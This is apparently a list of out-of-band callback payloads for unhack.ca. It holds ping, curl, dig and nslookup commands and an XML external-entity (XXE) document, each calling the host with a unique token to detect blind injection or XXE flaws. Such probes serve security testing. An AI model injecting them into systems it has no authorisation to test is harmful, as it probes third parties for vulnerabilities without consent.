$ ping -c1 -p 0058154defc40cde387200425d2a8f00 unhack.ca
$ curl http://unhack.ca/p/58154defc40cde387200425d2a8f
$ dig 58154defc40cde387200425d2a8f @unhack.ca
$ dig 58154defc40cde387200425d2a8f.ns.unhack.ca
C:\> nslookup 58154defc40cde387200425d2a8f unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/58154defc40cde387200425d2a8f">]> <foo>&xxe;</foo>